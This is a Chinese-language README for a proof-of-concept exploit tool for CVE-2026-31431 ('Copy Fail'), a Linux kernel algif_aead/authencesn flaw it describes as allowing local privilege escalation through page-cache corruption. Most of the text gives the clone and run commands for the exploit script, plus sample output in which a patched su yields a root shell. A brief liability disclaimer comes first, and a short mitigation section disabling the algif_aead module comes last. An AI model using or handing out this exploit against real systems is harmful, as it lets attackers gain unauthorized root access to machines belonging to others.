本项目严格仅供以下用途:
作者和贡献者 不对 滥用、损害、数据丢失、服务中断或使用本软件进行的任何非法活动 负责。
用于 CVE-2026-31431 的概念验证研究工具,又名 "Copy Fail",这是一个影响 algif_aead / authencesn AEAD 实现的 Linux 内核漏洞。
该漏洞在特定条件下可能导致页缓存损坏,进而可能使易受攻击的系统上的本地权限提升成为可能。
克隆仓库:
git clone https://github.com/Lutfifakee-Project/CVE-2026-31431.git
cd CVE-2026-31431
python3 exploit.py
python3 exploit.py --exploit
当提示时:
Type 'YES' to continue
python3 exploit.py --cleanup
python3 exploit.py --help
$ python3 exploit.py --exploit
[!] DANGER ZONE: Exploit mode
Type 'YES' to continue: YES
[*] CVE-2026-31431 Copy Fail Exploit
[+] Page cache patching complete!
[+] Executing modified su...
# id
uid=0(root) gid=1001(user)
如果您是系统管理员并需要缓解风险暴露:
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null